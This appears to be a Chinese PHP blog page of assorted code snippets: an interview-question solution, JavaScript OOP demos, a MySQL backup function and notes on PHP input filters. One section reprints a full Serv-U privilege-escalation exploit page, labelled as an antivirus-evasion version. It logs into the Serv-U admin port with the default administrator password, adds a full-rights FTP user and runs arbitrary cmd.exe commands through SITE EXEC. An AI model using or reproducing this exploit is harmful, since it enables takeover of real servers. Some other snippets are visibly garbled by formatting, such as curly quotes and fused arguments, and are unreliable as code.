国外的PHP程序员面试题目一解

一朋友说是国外的PHP程序员面试题目,解之:

题目三:
Create a class, Test3, with the following behavior:
The class must take a string of the format 
name1=value1:name2=value2:name3=value3 consisting of name and value 
pairs, separated by the : symbol. I must be able to enter as many 
pairs as I like when I call the class, the only limit is that each 
pair is formated as name=value and multiple pairs are separated by 
the : symbol.
When an object of the class is created it must end up with a variable 
for each name=value pair. The name of the variable must be the same 
as the name part of the substring and the value of the variable must 
be the same as the value part of the substring. For example:

creating an object with new Test3("firstname=david:lastname=smith") 
must create variables within the class:
$firstname = "david";
$lastname = "smith";

and new Test3("food1=pasta:food2=chocolate") must create variables 
within the class:
$food1 = "pasta";
$food2 = "chocolate";

I should be able to use any variable names and values provided they 
do not include the symbols : or =

You should then write a function print_all that will print the all 
the names of the defined variables in the class along with their 
values in the following format:
Variable 1 – Name = (whatever the actual name is), Value = (whatever 
the actual value is)
Variable 2 – Name = (whatever the actual name is), Value = (whatever 
the actual value is)
Variable 3 – Name = (whatever the actual name is), Value = (whatever 
the actual value is)
and so on until all the variables are listed.

The last line of output of the print_all function should be the words 
"The original input was " followed by a string that is an exact 
representation of the string parameter supplied when creating the 
class object.

For example, if you did new Test3("firstname=david:lastname=smith") 
then the print_all function should output:

Variable 1 – Name = firstname, Value = david
Variable 2 – Name = lastname, Value = smith
The original imput was ("firstname=david:lastname=smith")

This must work for any input string that has the correct format and 
you may not store the complete input string or directly output it to 
produce the last line of the print_all function output as that would 
be too easy.

PHP代码
  1. <?php  
  2. class Test3 {  
  3.     private $keys = array();  
  4.     function __construct($args) {  
  5.         $this->Test3($args);  
  6.     }  
  7.     function Test3($args) {  
  8.         $arr = explode(":"$args);  
  9.         foreach($arr as $v) {  
  10.             $varr = explode("="$v);  
  11.             $key = $varr[0];  
  12.             $value = $varr[1];  
  13.             $this->$key = $value;  
  14.             array_push($this->keys, $key);  
  15.         }  
  16.     }  
  17.     function print_all() {  
  18.         $ret = array();  
  19.         foreach($this->keys as $key) {  
  20.             array_push($ret$key."=".$this->$key);  
  21.         }  
  22.         return implode(":"$ret);  
  23.     }  
  24. }  
  25.   
  26. $t = new Test3("name=seaprince:name2=renothing");  
  27. print_r($t);  
  28. print $t->print_all();  
  29. ?>  

 

Serv-U All Version本地提升权限Exp10it Ver 1.5

PHP代码
  1. <?PHP  
  2. /** 
  3. 修改免杀版本 BY:CiKer 
  4. **/  
  5. //  
  6. //Codez begin  
  7. //  
  8. //判断magic_quotes_gpc的值  
  9.   
  10. set_time_limit(0);  
  11.   
  12. if (get_magic_quotes_gpc()) {  
  13.      $_GET = stripslashes_array($_GET);  
  14. }  
  15.   
  16.   
  17. //变量初始化  
  18. $addr = ‘127.0.0.1’;  
  19. $ftpport = 21;  
  20. $adminport = 43958;  
  21. $adminuser = ‘LocalAdministrator’;  
  22. $adminpass = ‘#l@$ak#.lk;0@P’;  
  23. $user = ‘110’;  
  24. $password = ‘110’;  
  25. $homedir = ‘C:\\’; 
  26. $dir = ‘C:\\WINNT\\System32\\‘; 
  27.  
  28.  
  29. //有改变则赋值 
  30. if ($_GET){ 
  31.      $addr = $_GET[‘addr‘] ;  
  32.      $ftpport = $_GET[‘ftpport‘] ; 
  33.      $adminport = $_GET[‘adminport‘] ;  
  34.      $adminuser = $_GET[‘adminuser‘] ; 
  35.      $adminpass = $_GET[‘adminpass‘] ;  
  36.      $user = $_GET[‘user‘] ; 
  37.      $password = $_GET[‘password‘] ;  
  38.      $homedir = $_GET[‘homedir‘] ; 
  39.      if ($_GET[‘dir‘]){  
  40.      $dir = $_GET[‘dir‘] ; 
  41.      } 
  42. } 
  43. ?> 
  44.  
  45.  
  46. <!– 主文件开始 //–> 
  47. <html> 
  48. <head> 
  49. <title>-=<Serv-U All Version本地提升权限Exp10it Ver 1.5>=-</title> 
  50. <meta content="text/html; charset=gb2312" http-equiv="Content-Type"> 
  51. <STYLE TYPE="text/css"> 
  52. b {font-family : Verdana, sans-serif;font-size : 14px;} 
  53. body,td,p,pre { 
  54. font-family : Verdana, sans-serif;font-size : 12px; 
  55. } 
  56. input { 
  57.              font-family: "Verdana"; 
  58.              font-size: "11px"; 
  59.              BACKGROUND-COLOR: "#FFFFFF"; 
  60.              height: "18px"; 
  61.              border: "1px solid #666666"; 
  62.      } 
  63. </STYLE> 
  64. </head> 
  65. <body bgcolor="#EEEEEE" text="#000000" link="#006699" vlink="#5493B4"> 
  66.  
  67.  
  68. <center><b>Serv-U All Version本地提升权限Exp10it Ver 1.5</b> 
  69. <br><br> 
  70. <b>添加Serv-U用户部分</b> 
  71. <br> 
  72. <form action="<?=$_SERVER[‘PHP_SELF‘]?>" method="get"> 
  73. <table width="660" border="0" cellpadding="0"> 
  74. <tr><td width="300" align="center">主机IP:</td>     <td width="360" align="center"><input name="addr" type="text" class="INPUT" value="<?=$addr?>"></td></tr> 
  75. <tr><td width="300" align="center">主机Ftp端口:</td>     <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr> 
  76. <tr><td width="300" align="center">主机Ftp管理端口:</td>     <td width="360" align="center"><input name="adminport" type="text" class="INPUT" value="<?=$adminport?>"></td></tr> 
  77. <tr><td width="300" align="center">主机Ftp管理用户:</td>     <td width="360" align="center"><input name="adminuser" type="text" class="INPUT" value="<?=$adminuser?>"></td></tr> 
  78. <tr><td width="300" align="center">主机Ftp管理密码:</td>     <td width="360" align="center"><input name="adminpass" type="text" class="INPUT" value="<?=$adminpass?>"></td></tr> 
  79. <tr><td width="300" align="center">添加的用户名:</td>     <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr> 
  80. <tr><td width="300" align="center">添加的用户名密码:</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr> 
  81. <tr><td width="300" align="center">用户主目录(别忘了写"\"):</td> <td width="360" align="center"><input name="homedir" type="text" class="INPUT" value="<?=$homedir?>"></td></tr> 
  82. <tr><td width="300" align="center"><input name="action" type="hidden" value="up"></td></tr> 
  83. <tr><td width="300" align="center"><input type="submit" class="INPUT" value="添加"></td></tr> 
  84. </form></tr> 
  85. </table> 
  86. <hr width="660"><br> 
  87. <textarea cols="60" rows="10" readonly>命令回显: 
  88. <?php 
  89.  
  90.  
  91. //添加用户 
  92. if ($_GET[‘action‘]=="up"){ 
  93.      up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir); 
  94.      } 
  95.      ?> 
  96. </textarea></center><br><hr width="660"> 
  97. <center><b>执行命令部分</b><br> 
  98. <form action="<?=$_SERVER[‘PHP_SELF‘]?>" method="get"> 
  99. <table width="660" border="0" cellpadding="0"> 
  100. <tr><td width="300" align="center">主机Ftp端口:</td>     <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr> 
  101. <tr><td width="300" align="center">用户名:</td>     <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr> 
  102. <tr><td width="300" align="center">用户名密码:</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr> 
  103. <tr><td width="300" align="center">系统路径(别忘了写"\"):</td><td width="360" align="center"><input name="dir" type="text" class="INPUT" value="<?=$dir?>"></td></tr> 
  104. <tr><td width="300" align="center">执行的命令:</td> <td width="360" align="center"><input name="cmd" type="text" class="INPUT" value="<?=$_GET[‘cmd‘]?>"></td></tr> 
  105. <tr><td width="300" align="center"><input name="action" type="hidden" value="execute"></td></tr> 
  106. <tr><td width="300" align="center"><input type="submit" class="INPUT" value="执行"></td></tr> 
  107. </form></tr></table><hr width="660"><br> 
  108. <textarea cols="60" rows="10" readonly>命令回显: 
  109. <?php 
  110.  
  111.  
  112. //执行命令 
  113. if ($_GET[‘action‘]=="execute"){  
  114.      ftpcmd($ftpport,$user,$password,$dir,$_GET[‘cmd‘]); 
  115.      } 
  116. ?> 
  117. </textarea> 
  118. </center><br><hr width="660"> 
  119. <i><center>Copycenter (C) 2004 我非我 All centers Reserved. 免杀修改 BY:CiKer 从此Hacking的道路更宽敞了…<br> 
  120. </center></i> 
  121. </body> 
  122. </html> 
  123. <!– 主文件结束 //–> 
  124. <?php 
  125.  
  126.  
  127. //添加用户主函数定义 
  128. function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){ 
  129.      $fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8); 
  130.      if (!$fp) { 
  131.          echo "$errstr ($errno)<br>\n"; 
  132.          } else { 
  133.      fputs ($fp, "USER ".$adminuser.""); 
  134.      sleep (1); 
  135.      fputs ($fp, "PASS ".$adminpass.""); 
  136.      sleep (1); 
  137.      fputs ($fp, "SITE MAINTENANCE"); 
  138.      sleep (1); 
  139.      fputs ($fp, "-SETUSERSETUP"); 
  140.      fputs ($fp, "-IP=".$addr.""); 
  141.      fputs ($fp, "-PortNo=".$ftpport.""); 
  142.      fputs ($fp, "-User=".$user.""); 
  143.      fputs ($fp, "-Password=".$password.""); 
  144.      fputs ($fp, "-HomeDir=".$homedir.""); 
  145.      fputs ($fp, "-LoginMesFile="); 
  146.      fputs ($fp, "-Disable=0"); 
  147.      fputs ($fp, "-RelPaths=0"); 
  148.      fputs ($fp, "-NeedSecure=0"); 
  149.      fputs ($fp, "-HideHidden=0"); 
  150.      fputs ($fp, "-AlwaysAllowLogin=0"); 
  151.      fputs ($fp, "-ChangePassword=1"); 
  152.      fputs ($fp, "-QuotaEnable=0"); 
  153.      fputs ($fp, "-MaxUsersLoginPerIP=-1"); 
  154.      fputs ($fp, "-SpeedLimitUp=-1"); 
  155.      fputs ($fp, "-SpeedLimitDown=-1"); 
  156.      fputs ($fp, "-MaxNrUsers=-1"); 
  157.      fputs ($fp, "-IdleTimeOut=600"); 
  158.      fputs ($fp, "-SessionTimeOut=-1"); 
  159.      fputs ($fp, "-Expire=0"); 
  160.      fputs ($fp, "-RatioUp=1"); 
  161.      fputs ($fp, "-RatioDown=1"); 
  162.      fputs ($fp, "-RatiosCredit=0"); 
  163.      fputs ($fp, "-QuotaCurrent=0"); 
  164.      fputs ($fp, "-QuotaMaximum=0"); 
  165.      fputs ($fp, "-Maintenance=System"); 
  166.      fputs ($fp, "-PasswordType=Regular"); 
  167.      fputs ($fp, "-Ratios=None"); 
  168.      fputs ($fp, " Access=".$homedir."|RWAMELCDP"); 
  169.      fputs ($fp, "QUIT"); 
  170.      sleep (1); 
  171.      while (!feof($fp)) { 
  172.      echo fgets ($fp,128); 
  173.      } 
  174.  
  175.  
  176. } 
  177. } 
  178.  
  179.  
  180. //执行命令主函数定义 
  181. function ftpcmd($ftpport,$user,$password,$dir,$cmd){ 
  182.  
  183.  
  184. $conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8); 
  185.  
  186.  
  187. if (!$conn_id) { 
  188.      echo "$errstr ($errno)<br>\n"; 
  189. } else { 
  190.      fputs ($conn_id, "USER ".$user.""); 
  191.      sleep (1); 
  192.      fputs ($conn_id, "PASS ".$password.""); 
  193.      sleep (1); 
  194.      fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd.""); 
  195.      fputs ($conn_id, "QUIT"); 
  196.      sleep (1); 
  197.      while (!feof($conn_id)) { 
  198.      echo fgets ($conn_id,128); 
  199.      } 
  200.      fclose($conn_id); 
  201. } 
  202. } 
  203.  
  204.  
  205. //去除转义字符 
  206. function stripslashes_array(&$array) { 
  207. while (list($key,$var) = each($array)) { 
  208. if ($key != ‘argc‘ && $key != ‘argv‘ && (strtoupper($key) != $key || ‘‘.intval($key) == "$key")) {  
  209.      if (is_string($var)) {  
  210.      $array[$key] = stripslashes($var);  
  211.      }  
  212.      if (is_array($var)) {  
  213.      $array[$key] = stripslashes_array($var);  
  214.      }  
  215. }  
  216. }  
  217. return $array;  
  218. }  
  219. ?>  

Perl 的测试代码

Java代码
  1. #!E:/Perl/bin/perl.exe  
  2. ##  
  3. ##  printenv — demo CGI program which just prints its environment  
  4. ##  
  5.   
  6. print "Content-type: text/html; charset=iso-8859-1\n\n";  
  7. foreach $var (sort(keys(%ENV))) {  
  8.     $val = $ENV{$var};  
  9.     $val =~ s|\n|\\n|g;  
  10.     $val =~ s|"|\\"|g; 
  11.     print "${var}=\"${val}\"\n";  
  12. }  

Javascript下的伪OOP用法测试

JavaScript代码
  1. <script type="text/javascript">  
  2. <!–  
  3.   
  4. // 方法一  
  5. var cellphone = {  
  6.     number: 13684042440,  
  7.     dial: function  () {  
  8.           
  9.     }  
  10. };  
  11.   
  12. // 方法二  
  13. var cellphone = new Object();  
  14. cellphone.number = 13484042440;  
  15. cellphone.dial = function () {  
  16.     alert("Calling "+this.number);  
  17. }  
  18.   
  19. cellphone.dial();  
  20.   
  21. // 给已有的类追加方法  
  22. String.prototype.trim = function () {  
  23.     var tmp = this.replace(/^\s+/,);  
  24.     tmp = tmp.replace(/\s+$/,);  
  25.     return tmp;  
  26. }  
  27.   
  28. var str = "  sfdfd  sfsd   ";  
  29. str2=str.trim();  
  30. alert("’"+str+"’");  
  31. alert("’"+str2+"’");  
  32.   
  33. function Beesn() {  
  34.     this.member = new Array(‘Kevin’,‘Vonsk’,‘Edison’,‘Michael’,‘Whl’),  
  35.     this.list = function () {  
  36.         for(var i=0;i<this.member.length;i++) {  
  37.             alert(this.member[i]);  
  38.         }  
  39.     },  
  40.     this.show = function () {  
  41.         this.member = this.member.shift();  
  42.         alert(this.member);  
  43.         //for(i in this.member) {  
  44.         //  alert(this.member[i]);  
  45.         //}  
  46.     }  
  47. }  
  48. var our = new Beesn;  
  49. our.show();  
  50.   
  51.   
  52. //arguments 对象的用法。  
  53. function ArgTest(a, b, c){  
  54.    var i, s = "The ArgTest function expected ";  
  55.    var numargs = arguments.length;     // 获取被传递参数的数值。  
  56.    var expargs = ArgTest.length;       // 获取期望参数的数值。  
  57.    if (expargs < 2)  
  58.        s += expargs + " argument. ";  
  59.    else  
  60.        s += expargs + " arguments. ";  
  61.    if (numargs < 2)  
  62.        s += numargs + " was passed.";  
  63.    else  
  64.        s += numargs + " were passed.";  
  65.     s += "\n\n"  
  66.    for (i =0 ; i < numargs; i++){      // 获取参数内容。  
  67.     s += "   Arg " + i + " = " + arguments[i] + "\n";  
  68.     }  
  69.    return(s);                          // 返回参数列表。  
  70. }  
  71. alert( ArgTest(1,our,our) );  
  72.   
  73. // caller demo  
  74. function callerDemo() {  
  75.     if (callerDemo.caller) {  
  76.          var a= callerDemo.caller.toString();  
  77.          alert(a);  
  78.      } else {  
  79.          alert("this is a top function");  
  80.      }  
  81. }  
  82. function handleCaller() {  
  83.      callerDemo();  
  84. }  
  85. callerDemo();  
  86.   
  87. //callee可以打印其本身  
  88. function calleeDemo() {  
  89.      alert(arguments.callee);  
  90. }  
  91. //用于验证参数  
  92. function calleeLengthDemo(arg1, arg2) {  
  93.     if (arguments.length==arguments.callee.length) {  
  94.          window.alert("验证形参和实参长度正确!");  
  95.         return;  
  96.      } else {  
  97.          alert("实参长度:" +arguments.length);  
  98.          alert("形参长度: " +arguments.callee.length);  
  99.          aert(calleeLengthDemo.length);  
  100.      }  
  101. }  
  102. //递归计算  
  103. var sum = function(n){  
  104.   if (n <= 0)                          
  105.   return 1;  
  106.   else  
  107.     return n + arguments.callee(n – 1);  
  108. }  
  109. calleeLengthDemo(1,2,3);  
  110.   
  111. var vehicle=Class.create();  
  112. vehicle.prototype.initialize= function(type)  
  113. {  
  114.         this.type=type;  
  115. }  
  116. vehicle.prototype.showSelf= function()  
  117. {  
  118.       alert("this vehicle is "this.type);  
  119. }  
  120. var Class = {  
  121.    create: function() {  
  122.     returnfunction() {  
  123.       this.initialize.apply(this, arguments);  
  124.      }  
  125.    }  
  126. }  
  127. var moto=new vehicle("Moto");  
  128. moto.showSelf();  
  129.   
  130.   
  131. // 测试extend  
  132. Object.extend = function(destination, source) {  
  133.   for (property in source) {  
  134.     destination[property] = source[property];  
  135.   }  
  136.   return destination;  
  137. }  
  138. Object.prototype.extend = function(object) {  
  139.   return Object.extend.apply(this, [this, object]);  
  140. }  
  141.   
  142. var obj = new Object();  
  143. obj.extend({  
  144.     f1: function () {  
  145.         alert(‘f1’);  
  146.     },  
  147.     f2: function () {  
  148.         alert(‘f2’);  
  149.     }  
  150. });  
  151.   
  152. obj.f2();  
  153.   
  154.   
  155. String.prototype.isEmail = function () {  
  156.     return /^[0-9a-z\-_\.]+@[0-9a-z\-_\.]+\.[a-z]+$/i.test(this);  
  157. };  
  158.   
  159.   
  160. var str = "combbs@msn.com";  
  161. alert(  str.isEmail()  );  
  162.   
  163. //alert(/^[0-9a-z\-_\.]+@[0-9a-z\-_\.]+\.[a-z]+$/i.test(str));  
  164. //–>  
  165. </script>  

测试方法:

请一段一段的测试。测试一段时,先把别的行注释。

Javascript中的prototype的一个简单例子

XML/HTML代码
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3.  <head>  
  4.   <title> new document </title>  
  5.   <meta name="generator" content="editplus" />  
  6.   <meta name="author" content="" />  
  7.   <meta name="keywords" content="" />  
  8.   <meta name="description" content="" />  
  9.  </head>  
  10.   
  11.  <body>  
  12.   <script type="text/javascript">  
  13.   <!–  
  14.     var call = function () {  
  15.         //this.a = function (a) { alert(a); };  
  16.         this.num = 134;  
  17.     }  
  18.     call.prototype.a = function (a) { alert(a); };  
  19.     var v = new call;  
  20.     v.a(v.num);  
  21.   //–>  
  22.   </script>  
  23.  </body>  
  24. </html>  

mysql 备份的PHP脚本

PHP代码
  1. <?php  
  2.     // 备份数据库  
  3.     function sqldumptable($table$fp=0) {  
  4.         $tabledump = "DROP TABLE IF EXISTS `$table`;\n";  
  5.         $tabledump .= "CREATE TABLE `$table` (\n";  
  6.   
  7.         $firstfield=1;  
  8.   
  9.         $fields = mysql_query("SHOW FIELDS FROM `$table`");  
  10.         while ($field = mysql_fetch_array($fields)) {  
  11.             if (!$firstfield) {  
  12.                 $tabledump .= ",\n";  
  13.             } else {  
  14.                 $firstfield=0;  
  15.             }  
  16.             $tabledump .= "   `$field[Field]` $field[Type]";  
  17.             if (!emptyempty($field["Default"])) {  
  18.                 if($field[‘Default’]!=‘CURRENT_TIMESTAMP’ ) $field[‘Default’] = "'{$field[‘Default’]}’";  
  19.                 $tabledump .= " DEFAULT $field[Default]";  
  20.             }  
  21.             if ($field[‘Null’] != "YES") {  
  22.                 $tabledump .= " NOT NULL";  
  23.             }  
  24.             if ($field[‘Extra’] != "") {  
  25.                 $tabledump .= " $field[Extra]";  
  26.             }  
  27.         }  
  28.         mysql_free_result($fields);  
  29.       
  30.         $keys = mysql_query("SHOW KEYS FROM `$table`");  
  31.         while ($key = mysql_fetch_array($keys)) {  
  32.             $kname=$key[‘Key_name’];  
  33.             if ($kname != "PRIMARY" and $key[‘Non_unique’] == 0) {  
  34.                 $kname="UNIQUE|$kname";  
  35.             }  
  36.             if(!is_array($index[$kname])) {  
  37.                 $index[$kname] = array();  
  38.             }  
  39.             $index[$kname][] = $key[‘Column_name’];  
  40.         }  
  41.         mysql_free_result($keys);  
  42.   
  43.         while(list($kname$columns) = @each($index)) {  
  44.             $tabledump .= ",\n";  
  45.             $colnames=implode($columns,",");  
  46.   
  47.             if ($kname == "PRIMARY") {  
  48.                 $tabledump .= "   PRIMARY KEY ($colnames)";  
  49.             } else {  
  50.                 if (substr($kname,0,6) == "UNIQUE") {  
  51.                     $kname=substr($kname,7);  
  52.                 }  
  53.                 $tabledump .= "   KEY $kname ($colnames)";  
  54.             }  
  55.         }  
  56.   
  57.         $tabledump .= "\n);\n\n";  
  58.         if ($fp) {  
  59.             fwrite($fp,$tabledump);  
  60.         } else {  
  61.             echo $tabledump;  
  62.         }  
  63.   
  64.         $rows = mysql_query("SELECT * FROM `$table`");  
  65.         $numfields = mysql_num_fields($rows);  
  66.         while ($row = mysql_fetch_array($rows)) {  
  67.             $tabledump = "INSERT INTO `$table` VALUES(";  
  68.   
  69.             $fieldcounter=-1;  
  70.             $firstfield=1;  
  71.             while (++$fieldcounter<$numfields) {  
  72.                 if (!$firstfield) {  
  73.                     $tabledump.=", ";  
  74.                 } else {  
  75.                     $firstfield=0;  
  76.                 }  
  77.   
  78.                 if (!isset($row[$fieldcounter])) {  
  79.                     $tabledump .= "NULL";  
  80.                 } else {  
  81.                     $tabledump .= "’".mysql_escape_string($row[$fieldcounter])."’";  
  82.                 }  
  83.             }  
  84.   
  85.             $tabledump .= ");\n";  
  86.   
  87.             if ($fp) {  
  88.                 fwrite($fp,$tabledump);  
  89.             } else {  
  90.                 echo $tabledump;  
  91.             }  
  92.         }  
  93.         mysql_free_result($rows);  
  94.         fwrite($fp,"\n\n\n");  
  95.     }  
  96.   
  97. ?>  

玩PHP源文件-把LOGO的gif文件转成.h文件中的数据

PHP代码
  1. <?php  
  2. // 将GIF转换为C语言中的H文件  
  3. $filename = "logo.gif";  
  4. $fp = fopen($filename"rb");  
  5. $buffer = fread($fpfilesize($filename));  
  6. fclose($fp);  
  7. $len = strlen($buffer);  
  8. $fp = fopen("mylogo.h""wb");  
  9. fwrite($fp"unsigned char php_logo[] = {");  
  10. for ($i=0; $i<=$len$i++) {  
  11.     if($i % 10 == 0) {  
  12.         fwrite($fp"\n\t\t");  
  13.     }  
  14.     if($i == $len) {  
  15.         $str = str_pad(ord(substr($buffer$i, 1)), 3, " ", STR_PAD_LEFT);  
  16.     } else {  
  17.         $str = str_pad(ord(substr($buffer$i, 1)), 3, " ", STR_PAD_LEFT) . ", ";  
  18.     }  
  19.     fwrite($fp$str);  
  20. }  
  21. fwrite($fp" };\n");  
  22. fclose($fp);  
  23. ?>  

php interface

PHP代码
  1. <?php  
  2. interface IA {  
  3.     public function a();  
  4.     public function b();  
  5. }  
  6. class Test implements IA {  
  7.     public function a() {  
  8.         echo ‘aa’;  
  9.     }  
  10.     public function b() {  
  11.         echo ‘bb’;  
  12.     }  
  13.     public function c() {  
  14.         echo ‘cc’;  
  15.     }  
  16. }  
  17.   
  18. class Test2 extends Test {  
  19.     public function a() {  
  20.         echo ‘aaaa!!’;  
  21.     }  
  22. }  
  23. $o = new Test2();  
  24. $o->a();  
  25. ?>  

PHP的输入过滤器

PHP代码
  1. <?php  
  2. $result = filter_input(INPUT_GET, ’email’, FILTER_VALIDATE_EMAIL);  
  3. var_dump($result);  
  4. ?>  

简介

This extension serves for validating and filtering data coming usually from some insecure source such as user input.

该扩展用于检验和过滤来自不安全途径的数据,比如说用户的输入。

The following filters currently exist, be sure to read the Filter Constants section for information that describes the behavior of each constant:

下边这些过滤器是当前已经有的,请阅读过滤器常量小节查看各个常量的行为描述。

表 1. Existing filters

ID Name Options Flags Description
FILTER_VALIDATE_INT "int" min_range, max_range FILTER_FLAG_ALLOW_OCTAL, FILTER_FLAG_ALLOW_HEX Validates value as integer, optionally from the specified range.
FILTER_VALIDATE_BOOLEAN "boolean"     Returns TRUE for "1", "true", "on" and "yes", FALSE for "0", "false", "off", "no", and "", NULL otherwise.
FILTER_VALIDATE_FLOAT "float"     Validates value as float.
FILTER_VALIDATE_REGEXP "validate_regexp" regexp   Validates value against regexp, a Perl-compatible regular expression.
FILTER_VALIDATE_URL "validate_url"   FILTER_FLAG_SCHEME_REQUIRED, FILTER_FLAG_HOST_REQUIRED, FILTER_FLAG_PATH_REQUIRED, FILTER_FLAG_QUERY_REQUIRED Validates value as URL, optionally with required components.
FILTER_VALIDATE_EMAIL "validate_email"     Validates value as e-mail.
FILTER_VALIDATE_IP "validate_ip"   FILTER_FLAG_IPV4, FILTER_FLAG_IPV6, FILTER_FLAG_NO_PRIV_RANGE, FILTER_FLAG_NO_RES_RANGE Validates value as IP address, optionally only IPv4 or IPv6 or not from private or reserved ranges.
FILTER_SANITIZE_STRING "string"   FILTER_FLAG_NO_ENCODE_QUOTES, FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP Strip tags, optionally strip or encode special characters.
FILTER_SANITIZE_STRIPPED "stripped"     Alias of "string" filter.
FILTER_SANITIZE_ENCODED "encoded"   FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH URL-encode string, optionally strip or encode special characters.
FILTER_SANITIZE_SPECIAL_CHARS "special_chars"   FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_HIGH HTML-escape '"<>& and characters with ASCII value less than 32, optionally strip or encode other special characters.
FILTER_UNSAFE_RAW "unsafe_raw"   FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP Do nothing, optionally strip or encode special characters.
FILTER_SANITIZE_EMAIL "email"     Remove all characters except letters, digits and !#$%&'*+-/=?^_`{|}~@.[].
FILTER_SANITIZE_URL "url"     Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
FILTER_SANITIZE_NUMBER_INT "number_int"     Remove all characters except digits and +-.
FILTER_SANITIZE_NUMBER_FLOAT "number_float"   FILTER_FLAG_ALLOW_FRACTION, FILTER_FLAG_ALLOW_THOUSAND, FILTER_FLAG_ALLOW_SCIENTIFIC Remove all characters except digits, +- and optionally .,eE.
FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"     Apply addslashes().
FILTER_CALLBACK "callback"   callback function or method Call user-defined function to filter data.

可以通过php.ini查看是否支持filter.

filter

Input Validation and Filtering enabled
Revision $Revision: 1.52.2.39 $

Directive Local Value Master Value
filter.default unsafe_raw unsafe_raw
filter.default_flags no value no value

使用:
参考本文前边的例子,用 ?email=email@host.com 和 ?email=invalidemail.address 测试。